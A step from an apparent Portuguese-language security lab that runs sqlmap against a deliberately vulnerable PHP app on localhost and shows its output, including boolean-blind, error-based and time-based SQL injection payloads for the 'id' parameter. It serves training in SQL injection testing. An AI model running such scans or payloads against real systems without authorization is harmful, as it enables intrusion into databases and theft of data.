Estabelecer uma Injeção Bem-Sucedida em um Alvo
Nesta etapa, você usará o sqlmap para escanear uma aplicação web e confirmar que ela é vulnerável à injeção de SQL. Nosso script de configuração já criou uma aplicação PHP simples e vulnerável rodando no servidor Apache local. Precisamos apontar o sqlmap para a URL do alvo e deixá-lo realizar a análise inicial.
Primeiro, execute o seguinte comando sqlmap no seu terminal. Usamos o flag -u para especificar a URL do alvo e --batch para rodar em modo não interativo, aceitando todas as respostas padrão.
sqlmap -u "http://127.0.0.1/index.php?id=1" --batch
O sqlmap realizará uma série de testes. Aguarde a conclusão. A saída mostrará que o parâmetro GET id é vulnerável. Esta confirmação é o primeiro passo necessário antes de podermos prosseguir para a exploração.
Você deverá ver uma saída semelhante a esta, confirmando a vulnerabilidade:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 1421=1421
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=1 AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x71627a7671,(SELECT (ELT(2521=2521,1))),0x71787a7171,0x78))s), 8446744073709551610, 8446744073709551610)))
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 2112 FROM (SELECT(SLEEP(5)))mrzs)
---
[15:30:00] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.52, PHP 8.1.2
back-end DBMS: MySQL >= 5.0
[15:30:00] [INFO] fetched data logged to text files under '/home/labex/.local/share/sqlmap/output/127.0.0.1'